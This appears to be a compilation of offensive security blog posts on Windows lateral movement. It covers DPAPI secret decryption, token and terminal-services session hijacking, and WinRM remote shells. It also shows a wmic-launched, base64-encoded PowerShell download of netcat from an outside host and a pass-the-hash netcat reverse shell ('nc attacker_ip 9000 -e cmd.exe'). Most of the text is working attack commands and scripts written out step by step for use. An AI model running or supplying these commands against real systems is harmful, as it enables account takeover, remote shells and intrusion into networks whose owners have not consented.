Erwan's Blog

In previous articles about lateral movement, we have mostly used « live » scenarios where we would either run as the victim user or we would dump secrets from (lsass) memory.

This time, lets look at dpapi secrets in « offline » scenarios.

About DPAPI, see wikipedia.

DPAPI (Data Protection Application Programming Interface) is a simple cryptographic application programming interface available as a built-in component in Windows 2000 and later versions of Microsoft Windows operating systems. In theory the Data Protection API can enable symmetric encryption of any kind of data; in practice, its primary use in the Windows operating system is to perform symmetric encryption of asymmetric private keys, using a user or system secret as a significant contribution of entropy.

DPAPI secrets are made of :
-a blob containing encrypted data, linked to a masterkey (used to decrypt the blob)
-a masterkey containing one (or several) encrypted key(s)

To decrypt a masterkey (and therefore a blob), you need the below:
-non-domain context: SID AND user password (when the masterkey was created) SHA1 hash
-domain context: SID AND user password (when the masterkey was created) NTLM hash
-local computer: DPAPI_SYSTEM secret (COMPUTER or USER part)

In the next 3 (+1) articles, we will see how to decrypt dpapi secrets.

Before doing so, I recommend reading this article.

Also, most part of the knowledge and coding is greatly (understatement here) inspired by the excellent work (another understatement) from Gentilwiki and Mimikatz.

In previous article we have (ab)used windows tokens to steal someone else account.

Lets see a different way to perform this task (ab)using terminal services.

1.Retrieve the session id of your victim with qwinsta

2.Open a shell (within the attacker session) to which your victim will connect to : nc -L -vv -p 9000

3.Spawn a process within your victim session which will connect back to your shell : NTHASH-win64.exe /runts /user:session_id /binary:nc 127.0.0.1 9000 -e cmd.exe

And again, enjoy the output of your whoami.

Note that you need special privileges (SeTcbPrivilege) to perform step 3 – my preference goes to using a « trustedinstaller » session (but many other context will do like winlogon, etc).

If need be, the below batch will create a new shell with proper privileges to perform step 3 above.

@echo off
net start trustedinstaller
for /F "tokens=1" %%K in (' nthash-win64 /enumproc ^| findstr /i "trustedinstaller" ') do ( nthash-win64 /runastoken /pid:%%K /system )


Last one on the « pass the hash » series.
Initially we used a remote RDP console.
We then demonstrated netcat reverse shell.
What if we dont have RDP or cant/dont want to use netcat to the remote target?

WinRM to the rescue !

1.Ensure WinRM is set on the attacker host : winrm quickconfig

2.Add trusted hosts * (or filter to an ip) on attacker host : powershell « Set-Item WSMan:\localhost\Client\TrustedHosts -Value « * » -Force »

3.Enable psremoting on the remote target host (use wmic / see previous article) : powershell.exe « enable-psremoting -force »

4.Add trusted hosts * (or filter to an ip) on attacker host : powershell « Set-Item WSMan:\localhost\Client\TrustedHosts -Value « * » -Force » (use wmic / see previous article)

5.Enjoy a remote shell under powershell (from the attacker host) : Enter-PSSession -ComputerName target

lets again introduce a variant of previous article.

Ideally we would be using the windows built in wmic command rather that the nthash runwmi verb.

Unfortunately, wmic can be a pita with escaping characters in some situations, especially when combining with powershell.

The below for instance wont work because of the ‘,’ comma character.

wmic /node:target process call create « powershell.exe -c (New-Object System.Net.WebClient).DownloadFile(‘https://erwan.labalec.fr/uploads/nc.exe’,’c:\temp\nc.exe’) »

The trick/workaround is to base64encode (unicode) the powershell command.

NTHASH-win64.exe /base64encodew /input:(New-Object System.Net.WebClient).DownloadFile(‘http:%2f%2ferwan.labalec.fr%2fuploads%2fnc.exe’,’c:\temp\nc.exe’);

Which will give you the following :

KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQ
BiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBlAHIAdwBhAG4ALgBsAGEAYgBhAGwAZQBjAC4AZgByAC8AdQBwAGwAbwBhAGQAcwAvAG4AYwAuAGUAeABlACcALAAnAGMAOgBcAHQAZQBtAHAAXABuAGMALgBlAHgAZQAnACkAOwA=

You can then execute a powershell command on a remote target using wmic like below :

wmic /node:target process call create « powershell.exe -encodedcommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBlAHIAdwBhAG4ALgBsAGEAYgBhAGwAZQBjAC4AZgByAC8AdQBwAGwAbwBhAGQAcwAvAG4AYwAuAGUAeABlACcALAAnAGMAOgBcAHQAZQBtAHAAXABuAGMALgBlAHgAZQAnACkAOwA= »

In a previous article, we have seen how to perform lateral movement thru « Pass The Hash ».

Lets imagine that there is no RDP server available on the target but you still need to get a shell on the target.

Lets use a reverse shell i.e the target will connect back to us (the attacker).

Usefull as well if the firewall on the target is allowing only outbound connections.

1.Set a shell with netcat on the attacker host
nc -L -vv -p 9000

2.Copy file to target host (remember, you are using a pth shell with proper logon details).
copy nc.exe \\target\admin$

3.Exec netcat on target host
NTHASH-win64.exe /runwmi /server:target /binary:nc attacker_ip 9000 -e cmd.exe

At this point you will get a shell popup in your listening netcat.

Try a simple whoami for fun.